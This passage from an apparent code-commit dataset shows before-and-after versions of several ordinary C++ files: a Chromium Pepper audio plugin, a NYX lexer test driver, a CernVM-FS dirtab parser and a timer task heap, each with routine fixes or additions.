audio->StopPlayback() : false;\n}\n\nconst PPB_Audio_Dev ppb_audio = {\n &Create,\n &IsAudio,\n &GetCurrentConfiguration,\n &StartPlayback,\n &StopPlayback,\n};\n\n\/\/ PPB_AudioTrusted ------------------------------------------------------------\n\nPP_Resource GetBuffer(PP_Resource audio_id) {\n \/\/ TODO(neb): Implement me!\n return 0;\n}\n\nint GetOSDescriptor(PP_Resource audio_id) {\n \/\/ TODO(neb): Implement me!\n return -1;\n}\n\nconst PPB_AudioTrusted_Dev ppb_audiotrusted = {\n &GetBuffer,\n &GetOSDescriptor\n};\n\n} \/\/ namespace\n\n\/\/ AudioConfig -----------------------------------------------------------------\n\nAudioConfig::AudioConfig(PluginModule* module,\n PP_AudioSampleRate_Dev sample_rate,\n uint32_t sample_frame_count)\n : Resource(module),\n sample_rate_(sample_rate),\n sample_frame_count_(sample_frame_count) {\n}\n\nconst PPB_AudioConfig_Dev* AudioConfig::GetInterface() {\n return &ppb_audioconfig;\n}\n\nsize_t AudioConfig::BufferSize() {\n \/\/ TODO(audio): as more options become available, we'll need to\n \/\/ have additional code here to correctly calculate the size in\n \/\/ bytes of an audio buffer. For now, only support two channel\n \/\/ int16_t sample buffers.\n const int kChannels = 2;\n const int kSizeOfSample = sizeof(int16_t);\n return static_cast<size_t>(sample_frame_count_ * kSizeOfSample * kChannels);\n}\n\nAudioConfig* AudioConfig::AsAudioConfig() {\n return this;\n}\n\n\/\/ Audio -----------------------------------------------------------------------\n\nAudio::Audio(PluginModule* module)\n : Resource(module),\n playing_(false),\n socket_(NULL),\n shared_memory_(NULL),\n shared_memory_size_(0),\n callback_(NULL),\n user_data_(NULL) {\n}\n\nAudio::~Audio() {\n \/\/ Calling ShutDown() makes sure StreamCreated cannot be called anymore.\n audio_->ShutDown();\n \/\/ Closing the socket causes the thread to exit - wait for it.\n socket_->Close();\n if (audio_thread_.get()) {\n audio_thread_->Join();\n audio_thread_.reset();\n }\n \/\/ Shared memory destructor will unmap the memory automatically.\n}\n\nconst PPB_Audio_Dev* Audio::GetInterface() {\n return &ppb_audio;\n}\n\nconst PPB_AudioTrusted_Dev* Audio::GetTrustedInterface() {\n return &ppb_audiotrusted;\n}\n\nAudio* Audio::AsAudio() {\n return this;\n}\n\nbool Audio::Init(PluginDelegate* plugin_delegate, PP_Resource config_id,\n PPB_Audio_Callback callback, void* user_data) {\n CHECK(!audio_.get());\n config_ = Resource::GetAs<AudioConfig>(config_id);\n if (!config_)\n return false;\n callback_ = callback;\n user_data_ = user_data;\n \/\/ When the stream is created, we'll get called back in StreamCreated().\n audio_.reset(plugin_delegate->CreateAudio(config_->sample_rate(),\n config_->sample_frame_count(),\n this));\n return audio_.get() != NULL;\n}\n\nbool Audio::StartPlayback() {\n if (playing_)\n return true;\n\n CHECK(!audio_thread_.get());\n if (callback_ && socket_.get()) {\n audio_thread_.reset(new base::DelegateSimpleThread(this,\n \"plugin_audio_thread\"));\n audio_thread_->Start();\n }\n playing_ = true;\n return audio_->StartPlayback();\n}\n\nbool Audio::StopPlayback() {\n if (!playing_)\n return true;\n\n if (!audio_->StopPlayback())\n return false;\n\n if (audio_thread_.get()) {\n audio_thread_->Join();\n audio_thread_.reset();\n }\n playing_ = false;\n return true;\n}\n\nvoid Audio::StreamCreated(base::SharedMemoryHandle shared_memory_handle,\n size_t shared_memory_size,\n base::SyncSocket::Handle socket_handle) {\n socket_.reset(new base::SyncSocket(socket_handle));\n shared_memory_.reset(new base::SharedMemory(shared_memory_handle, false));\n shared_memory_size_ = shared_memory_size;\n\n if (callback_) {\n shared_memory_->Map(shared_memory_size_);\n \/\/ In common case StartPlayback() was called before StreamCreated().\n if (playing_) {\n audio_thread_.reset(new base::DelegateSimpleThread(this,\n \"plugin_audio_thread\"));\n audio_thread_->Start();\n }\n }\n}\n\nvoid Audio::Run() {\n int pending_data;\n void* buffer = shared_memory_->memory();\n size_t buffer_size_in_bytes = config_->BufferSize();\n\n while (sizeof(pending_data) ==\n socket_->Receive(&pending_data, sizeof(pending_data)) &&\n pending_data >= 0) {\n \/\/ Exit the thread on pause.\n if (pending_data < 0)\n return;\n callback_(buffer, buffer_size_in_bytes, user_data_);\n }\n}\n\n} \/\/ namespace pepper\n\n<commit_msg>Fix the build warnings about bool conversion.<commit_after>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"webkit\/glue\/plugins\/pepper_audio.h\"\n\n#include \"base\/logging.h\"\n#include \"third_party\/ppapi\/c\/dev\/ppb_audio_dev.h\"\n#include \"third_party\/ppapi\/c\/dev\/ppb_audio_trusted_dev.h\"\n\nnamespace pepper {\n\nnamespace {\n\n\/\/ PPB_AudioConfig -------------------------------------------------------------\n\nuint32_t RecommendSampleFrameCount(uint32_t requested_sample_frame_count);\n\nPP_Resource CreateStereo16bit(PP_Module module_id,\n PP_AudioSampleRate_Dev sample_rate,\n uint32_t sample_frame_count) {\n PluginModule* module = ResourceTracker::Get()->GetModule(module_id);\n if (!module)\n return 0;\n\n \/\/ TODO(brettw): Currently we don't actually check what the hardware\n \/\/ supports, so just allow sample rates of the \"guaranteed working\" ones.\n if (sample_rate != PP_AUDIOSAMPLERATE_44100 &&\n sample_rate != PP_AUDIOSAMPLERATE_48000)\n return 0;\n\n \/\/ TODO(brettw): Currently we don't actually query to get a value from the\n \/\/ hardware, so just validate the range.\n if (RecommendSampleFrameCount(sample_frame_count) != sample_frame_count)\n return 0;\n\n scoped_refptr<AudioConfig> config(new AudioConfig(module,\n sample_rate,\n sample_frame_count));\n return config->GetReference();\n}\n\nuint32_t RecommendSampleFrameCount(uint32_t requested_sample_frame_count) {\n \/\/ TODO(brettw) Currently we don't actually query to get a value from the\n \/\/ hardware, so we always return the input for in-range values.\n if (requested_sample_frame_count < PP_AUDIOMINSAMPLEFRAMECOUNT)\n return PP_AUDIOMINSAMPLEFRAMECOUNT;\n if (requested_sample_frame_count > PP_AUDIOMAXSAMPLEFRAMECOUNT)\n return PP_AUDIOMAXSAMPLEFRAMECOUNT;\n return requested_sample_frame_count;\n}\n\nbool IsAudioConfig(PP_Resource resource) {\n scoped_refptr<AudioConfig> config = Resource::GetAs<AudioConfig>(resource);\n return !!config;\n}\n\nPP_AudioSampleRate_Dev GetSampleRate(PP_Resource config_id) {\n scoped_refptr<AudioConfig> config = Resource::GetAs<AudioConfig>(config_id);\n return config ? config->sample_rate() : PP_AUDIOSAMPLERATE_NONE;\n}\n\nuint32_t GetSampleFrameCount(PP_Resource config_id) {\n scoped_refptr<AudioConfig> config = Resource::GetAs<AudioConfig>(config_id);\n return config ? config->sample_frame_count() : 0;\n}\n\nconst PPB_AudioConfig_Dev ppb_audioconfig = {\n &CreateStereo16bit,\n &RecommendSampleFrameCount,\n &IsAudioConfig,\n &GetSampleRate,\n &GetSampleFrameCount\n};\n\n\/\/ PPB_Audio -------------------------------------------------------------------\n\nPP_Resource Create(PP_Instance instance_id, PP_Resource config_id,\n PPB_Audio_Callback callback, void* user_data) {\n PluginInstance* instance = ResourceTracker::Get()->GetInstance(instance_id);\n if (!instance)\n return 0;\n \/\/ TODO(neb): Require callback to be present for untrusted plugins.\n scoped_refptr<Audio> audio(new Audio(instance->module()));\n if (!audio->Init(instance->delegate(), config_id, callback, user_data))\n return 0;\n return audio->GetReference();\n}\n\nbool IsAudio(PP_Resource resource) {\n scoped_refptr<Audio> audio = Resource::GetAs<Audio>(resource);\n return !!audio;\n}\n\nPP_Resource GetCurrentConfiguration(PP_Resource audio_id) {\n scoped_refptr<Audio> audio = Resource::GetAs<Audio>(audio_id);\n return audio ? audio->GetCurrentConfiguration() : 0;\n}\n\nbool StartPlayback(PP_Resource audio_id) {\n scoped_refptr<Audio> audio = Resource::GetAs<Audio>(audio_id);\n return audio ? audio->StartPlayback() : false;\n}\n\nbool StopPlayback(PP_Resource audio_id) {\n scoped_refptr<Audio> audio = Resource::GetAs<Audio>(audio_id);\n return audio ? audio->StopPlayback() : false;\n}\n\nconst PPB_Audio_Dev ppb_audio = {\n &Create,\n &IsAudio,\n &GetCurrentConfiguration,\n &StartPlayback,\n &StopPlayback,\n};\n\n\/\/ PPB_AudioTrusted ------------------------------------------------------------\n\nPP_Resource GetBuffer(PP_Resource audio_id) {\n \/\/ TODO(neb): Implement me!\n return 0;\n}\n\nint GetOSDescriptor(PP_Resource audio_id) {\n \/\/ TODO(neb): Implement me!\n return -1;\n}\n\nconst PPB_AudioTrusted_Dev ppb_audiotrusted = {\n &GetBuffer,\n &GetOSDescriptor\n};\n\n} \/\/ namespace\n\n\/\/ AudioConfig -----------------------------------------------------------------\n\nAudioConfig::AudioConfig(PluginModule* module,\n PP_AudioSampleRate_Dev sample_rate,\n uint32_t sample_frame_count)\n : Resource(module),\n sample_rate_(sample_rate),\n sample_frame_count_(sample_frame_count) {\n}\n\nconst PPB_AudioConfig_Dev* AudioConfig::GetInterface() {\n return &ppb_audioconfig;\n}\n\nsize_t AudioConfig::BufferSize() {\n \/\/ TODO(audio): as more options become available, we'll need to\n \/\/ have additional code here to correctly calculate the size in\n \/\/ bytes of an audio buffer. For now, only support two channel\n \/\/ int16_t sample buffers.\n const int kChannels = 2;\n const int kSizeOfSample = sizeof(int16_t);\n return static_cast<size_t>(sample_frame_count_ * kSizeOfSample * kChannels);\n}\n\nAudioConfig* AudioConfig::AsAudioConfig() {\n return this;\n}\n\n\/\/ Audio -----------------------------------------------------------------------\n\nAudio::Audio(PluginModule* module)\n : Resource(module),\n playing_(false),\n socket_(NULL),\n shared_memory_(NULL),\n shared_memory_size_(0),\n callback_(NULL),\n user_data_(NULL) {\n}\n\nAudio::~Audio() {\n \/\/ Calling ShutDown() makes sure StreamCreated cannot be called anymore.\n audio_->ShutDown();\n \/\/ Closing the socket causes the thread to exit - wait for it.\n socket_->Close();\n if (audio_thread_.get()) {\n audio_thread_->Join();\n audio_thread_.reset();\n }\n \/\/ Shared memory destructor will unmap the memory automatically.\n}\n\nconst PPB_Audio_Dev* Audio::GetInterface() {\n return &ppb_audio;\n}\n\nconst PPB_AudioTrusted_Dev* Audio::GetTrustedInterface() {\n return &ppb_audiotrusted;\n}\n\nAudio* Audio::AsAudio() {\n return this;\n}\n\nbool Audio::Init(PluginDelegate* plugin_delegate, PP_Resource config_id,\n PPB_Audio_Callback callback, void* user_data) {\n CHECK(!audio_.get());\n config_ = Resource::GetAs<AudioConfig>(config_id);\n if (!config_)\n return false;\n callback_ = callback;\n user_data_ = user_data;\n \/\/ When the stream is created, we'll get called back in StreamCreated().\n audio_.reset(plugin_delegate->CreateAudio(config_->sample_rate(),\n config_->sample_frame_count(),\n this));\n return audio_.get() != NULL;\n}\n\nbool Audio::StartPlayback() {\n if (playing_)\n return true;\n\n CHECK(!audio_thread_.get());\n if (callback_ && socket_.get()) {\n audio_thread_.reset(new base::DelegateSimpleThread(this,\n \"plugin_audio_thread\"));\n audio_thread_->Start();\n }\n playing_ = true;\n return audio_->StartPlayback();\n}\n\nbool Audio::StopPlayback() {\n if (!playing_)\n return true;\n\n if (!audio_->StopPlayback())\n return false;\n\n if (audio_thread_.get()) {\n audio_thread_->Join();\n audio_thread_.reset();\n }\n playing_ = false;\n return true;\n}\n\nvoid Audio::StreamCreated(base::SharedMemoryHandle shared_memory_handle,\n size_t shared_memory_size,\n base::SyncSocket::Handle socket_handle) {\n socket_.reset(new base::SyncSocket(socket_handle));\n shared_memory_.reset(new base::SharedMemory(shared_memory_handle, false));\n shared_memory_size_ = shared_memory_size;\n\n if (callback_) {\n shared_memory_->Map(shared_memory_size_);\n \/\/ In common case StartPlayback() was called before StreamCreated().\n if (playing_) {\n audio_thread_.reset(new base::DelegateSimpleThread(this,\n \"plugin_audio_thread\"));\n audio_thread_->Start();\n }\n }\n}\n\nvoid Audio::Run() {\n int pending_data;\n void* buffer = shared_memory_->memory();\n size_t buffer_size_in_bytes = config_->BufferSize();\n\n while (sizeof(pending_data) ==\n socket_->Receive(&pending_data, sizeof(pending_data)) &&\n pending_data >= 0) {\n \/\/ Exit the thread on pause.\n if (pending_data < 0)\n return;\n callback_(buffer, buffer_size_in_bytes, user_data_);\n }\n}\n\n} \/\/ namespace pepper\n\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2019 ASMlover. All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions\n\/\/ are met:\n\/\/\n\/\/ * Redistributions of source code must retain the above copyright\n\/\/ notice, this list ofconditions and the following disclaimer.\n\/\/\n\/\/ * Redistributions in binary form must reproduce the above copyright\n\/\/ notice, this list of conditions and the following disclaimer in\n\/\/ the documentation and\/or other materialsprovided with the\n\/\/ distribution.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n\/\/ \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n\/\/ LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n\/\/ FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n\/\/ COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n\/\/ INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n\/\/ BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n\/\/ LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n\/\/ CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n\/\/ LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n\/\/ ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n\/\/ POSSIBILITY OF SUCH DAMAGE.\n#include <iostream>\n\nint main(int argc, char* argv[]) {\n (void)argc, (void)argv;\n\n std::cout << \"Welcome to NYX !\" << std::endl;\n\n return 0;\n}\n<commit_msg>:construction: chore(test) add test for nyx script<commit_after>\/\/ Copyright (c) 2019 ASMlover. All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions\n\/\/ are met:\n\/\/\n\/\/ * Redistributions of source code must retain the above copyright\n\/\/ notice, this list ofconditions and the following disclaimer.\n\/\/\n\/\/ * Redistributions in binary form must reproduce the above copyright\n\/\/ notice, this list of conditions and the following disclaimer in\n\/\/ the documentation and\/or other materialsprovided with the\n\/\/ distribution.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n\/\/ \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n\/\/ LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n\/\/ FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n\/\/ COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n\/\/ INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n\/\/ BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n\/\/ LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n\/\/ CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n\/\/ LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n\/\/ ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n\/\/ POSSIBILITY OF SUCH DAMAGE.\n#include <fstream>\n#include <iostream>\n#include <sstream>\n#include \"lexer.hh\"\n\nint main(int argc, char* argv[]) {\n (void)argc, (void)argv;\n\n std::cout << \"Welcome to NYX !\" << std::endl;\n\n if (argc < 2) {\n std::cerr << \"USAGE: \" << argv[0] << \" {FILE_NAME}\" << std::endl;\n return -1;\n }\n\n std::ifstream fp(argv[1]);\n if (!fp.is_open()) {\n std::cerr << \"open file \\\"\" << argv[1] << \"\\\" failed\" << std::endl;\n return -1;\n }\n std::stringstream ss;\n ss << fp.rdbuf();\n std::string source_bytes(ss.str());\n\n nyx::Lexer lex(source_bytes);\n while (true) {\n auto tok = lex.next_token();\n std::cout << tok << std::endl;\n\n if (tok.get_kind() == nyx::TokenKind::TK_EOF)\n break;\n }\n\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/**\n * This file is part of the CernVM File System.\n *\/\n\n#include \"dirtab.h\"\n\n#include <fstream>\n#include <sstream>\n\n#include \"util.h\"\n\nusing namespace catalog;\n\nDirtab::Dirtab() : valid_(true) {}\n\n\nDirtab::Dirtab(const std::string &dirtab_path) {\n if (! FileExists(dirtab_path)) {\n LogCvmfs(kLogCatalog, kLogStderr, \"Cannot find dirtab at '%s'\",\n dirtab_path.c_str());\n valid_ = false;\n return;\n }\n\n std::ifstream dirtab(dirtab_path.c_str());\n if (!dirtab) {\n LogCvmfs(kLogCatalog, kLogStderr, \"Cannot open dirtab for reading at '%s'\",\n dirtab_path.c_str());\n valid_ = false;\n return;\n }\n\n valid_ = Parse(dirtab);\n dirtab.close();\n}\n\n\nbool Dirtab::Parse(const std::string &dirtab) {\n std::istringstream iss(dirtab);\n const bool parse_success = Parse(iss);\n valid_ = parse_success;\n return parse_success;\n}\n\n\nbool Dirtab::Parse(std::istream &dirtab) {\n std::string line;\n bool all_valid = true;\n while (std::getline(dirtab, line)) {\n if (! ParseLine(line)) {\n all_valid = false;\n }\n }\n return all_valid && CheckRuleValidity();\n}\n\n\nbool Dirtab::ParseLine(const std::string &line) {\n std::string::const_iterator itr = line.begin();\n const std::string::const_iterator iend = line.end();\n bool negation = false;\n\n \/\/ parse preamble\n SkipWhitespace(itr, iend);\n if (*itr == Dirtab::kCommentMarker) {\n return true;\n } else if (*itr == Dirtab::kNegationMarker) {\n negation = true;\n ++itr;\n SkipWhitespace(itr, iend);\n }\n\n \/\/ extract and parse pathspec\n std::string pathspec_str(itr, iend);\n if (pathspec_str.empty()) {\n return true;\n }\n Pathspec pathspec(pathspec_str);\n if (!pathspec.IsValid()) {\n return false;\n }\n\n \/\/ create a new dirtab rule\n const Rule rule(pathspec, negation);\n AddRule(rule);\n return true;\n}\n\n\nvoid Dirtab::AddRule(const Rule &rule) {\n if (rule.is_negation) {\n negative_rules_.push_back(rule);\n } else {\n positive_rules_.push_back(rule);\n }\n}\n\n\nbool Dirtab::CheckRuleValidity() const {\n \/\/ check if there are contradicting positive and negative rules\n Rules::const_iterator p = positive_rules_.begin();\n const Rules::const_iterator pend = positive_rules_.end();\n for (; p != pend; ++p) {\n assert (! p->is_negation);\n Rules::const_iterator n = negative_rules_.begin();\n const Rules::const_iterator nend = negative_rules_.end();\n for (; n != nend; ++n) {\n assert (n->is_negation);\n if (p->pathspec == n->pathspec) {\n return false;\n }\n }\n }\n\n return true;\n}\n\n\nbool Dirtab::IsMatching(const std::string &path) const {\n \/\/ check if path has a positive match\n bool has_positive_match = false;\n Rules::const_iterator p = positive_rules_.begin();\n const Rules::const_iterator pend = positive_rules_.end();\n for (; p != pend; ++p) {\n assert (! p->is_negation);\n if (p->pathspec.IsMatching(path)) {\n has_positive_match = true;\n break;\n }\n }\n\n \/\/ no positive match, no match in general!\n if (! has_positive_match) {\n return false;\n }\n\n \/\/ check for negative matches (meaning no match in general)\n Rules::const_iterator n = negative_rules_.begin();\n const Rules::const_iterator nend = negative_rules_.end();\n for (; n != nend; ++n) {\n assert (n->is_negation);\n if (n->pathspec.IsMatching(path)) {\n return false;\n }\n }\n\n \/\/ all good, path is matching dirtab\n return true;\n}\n<commit_msg>positive rules in dirtab must be absolute<commit_after>\/**\n * This file is part of the CernVM File System.\n *\/\n\n#include \"dirtab.h\"\n\n#include <fstream>\n#include <sstream>\n\n#include \"util.h\"\n\nusing namespace catalog;\n\nDirtab::Dirtab() : valid_(true) {}\n\n\nDirtab::Dirtab(const std::string &dirtab_path) {\n if (! FileExists(dirtab_path)) {\n LogCvmfs(kLogCatalog, kLogStderr, \"Cannot find dirtab at '%s'\",\n dirtab_path.c_str());\n valid_ = false;\n return;\n }\n\n std::ifstream dirtab(dirtab_path.c_str());\n if (!dirtab) {\n LogCvmfs(kLogCatalog, kLogStderr, \"Cannot open dirtab for reading at '%s'\",\n dirtab_path.c_str());\n valid_ = false;\n return;\n }\n\n valid_ = Parse(dirtab);\n dirtab.close();\n}\n\n\nbool Dirtab::Parse(const std::string &dirtab) {\n std::istringstream iss(dirtab);\n const bool parse_success = Parse(iss);\n valid_ = parse_success;\n return parse_success;\n}\n\n\nbool Dirtab::Parse(std::istream &dirtab) {\n std::string line;\n bool all_valid = true;\n while (std::getline(dirtab, line)) {\n if (! ParseLine(line)) {\n all_valid = false;\n }\n }\n return all_valid && CheckRuleValidity();\n}\n\n\nbool Dirtab::ParseLine(const std::string &line) {\n std::string::const_iterator itr = line.begin();\n const std::string::const_iterator iend = line.end();\n bool negation = false;\n\n \/\/ parse preamble\n SkipWhitespace(itr, iend);\n if (*itr == Dirtab::kCommentMarker) {\n return true;\n } else if (*itr == Dirtab::kNegationMarker) {\n negation = true;\n ++itr;\n SkipWhitespace(itr, iend);\n }\n\n \/\/ extract and parse pathspec\n std::string pathspec_str(itr, iend);\n if (pathspec_str.empty()) {\n return true;\n }\n Pathspec pathspec(pathspec_str);\n if ( !pathspec.IsValid() ||\n (!negation && !pathspec.IsAbsolute())) {\n return false;\n }\n\n \/\/ create a new dirtab rule\n const Rule rule(pathspec, negation);\n AddRule(rule);\n return true;\n}\n\n\nvoid Dirtab::AddRule(const Rule &rule) {\n if (rule.is_negation) {\n negative_rules_.push_back(rule);\n } else {\n positive_rules_.push_back(rule);\n }\n}\n\n\nbool Dirtab::CheckRuleValidity() const {\n \/\/ check if there are contradicting positive and negative rules\n Rules::const_iterator p = positive_rules_.begin();\n const Rules::const_iterator pend = positive_rules_.end();\n for (; p != pend; ++p) {\n assert (! p->is_negation);\n Rules::const_iterator n = negative_rules_.begin();\n const Rules::const_iterator nend = negative_rules_.end();\n for (; n != nend; ++n) {\n assert (n->is_negation);\n if (p->pathspec == n->pathspec) {\n return false;\n }\n }\n }\n\n return true;\n}\n\n\nbool Dirtab::IsMatching(const std::string &path) const {\n \/\/ check if path has a positive match\n bool has_positive_match = false;\n Rules::const_iterator p = positive_rules_.begin();\n const Rules::const_iterator pend = positive_rules_.end();\n for (; p != pend; ++p) {\n assert (! p->is_negation);\n if (p->pathspec.IsMatching(path)) {\n has_positive_match = true;\n break;\n }\n }\n\n \/\/ no positive match, no match in general!\n if (! has_positive_match) {\n return false;\n }\n\n \/\/ check for negative matches (meaning no match in general)\n Rules::const_iterator n = negative_rules_.begin();\n const Rules::const_iterator nend = negative_rules_.end();\n for (; n != nend; ++n) {\n assert (n->is_negation);\n if (n->pathspec.IsMatching(path)) {\n return false;\n }\n }\n\n \/\/ all good, path is matching dirtab\n return true;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Licensed to the Apache Software Foundation (ASF) under one or more\n * contributor license agreements. See the NOTICE file distributed with\n * this work for additional information regarding copyright ownership.\n * The ASF licenses this file to You under the Apache License, Version 2.0\n * (the \"License\"); you may not use this file except in compliance with\n * the License. You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"TimerTaskHeap.h\"\n\nusing namespace decaf;\nusing namespace decaf::internal;\nusing namespace decaf::internal::util;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nTimerTaskHeap::TimerTaskHeap() {\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nTimerTaskHeap::~TimerTaskHeap() {\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nPointer<TimerTask> TimerTaskHeap::peek() {\n\n if( heap.empty() ) {\n return Pointer<TimerTask>();\n }\n\n return heap[0];\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nbool TimerTaskHeap::isEmpty() const {\n return heap.empty();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nstd::size_t TimerTaskHeap::size() const {\n return this->heap.size();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid TimerTaskHeap::insert( const Pointer<TimerTask>& task ) {\n\n heap.push_back( task );\n upHeap();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid TimerTaskHeap::remove( std::size_t pos ) {\n\n \/\/ possible to delete any position of the heap\n if( pos < heap.size() ) {\n heap[pos] = heap.back();\n heap.pop_back();\n downHeap( pos );\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid TimerTaskHeap::upHeap() {\n\n\tstd::size_t current = heap.size() - 1;\n\tstd::size_t parent = ( current - 1 ) \/ 2;\n\n while( heap[current]->when < heap[parent]->when) {\n\n \/\/ swap the two\n Pointer<TimerTask> tmp = heap[current];\n heap[current] = heap[parent];\n heap[parent] = tmp;\n\n \/\/ update parent and current positions.\n current = parent;\n parent = ( current - 1 ) \/ 2;\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid TimerTaskHeap::downHeap( std::size_t pos ) {\n\n std::size_t current = pos;\n std::size_t child = 2 * current + 1;\n\n while( child < heap.size() && !heap.empty() ) {\n\n \/\/ compare the children if they exist\n if( child + 1 < heap.size() && heap[child + 1]->when < heap[child]->when) {\n child++;\n }\n\n \/\/ compare selected child with parent\n if( heap[current]->when < heap[child]->when ) {\n break;\n }\n\n \/\/ swap the two\n Pointer<TimerTask> tmp = heap[current];\n heap[current] = heap[child];\n heap[child] = tmp;\n\n \/\/ update child and current positions\n current = child;\n child = 2 * current + 1;\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid TimerTaskHeap::reset() {\n heap.clear();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid TimerTaskHeap::adjustMinimum() {\n downHeap( 0 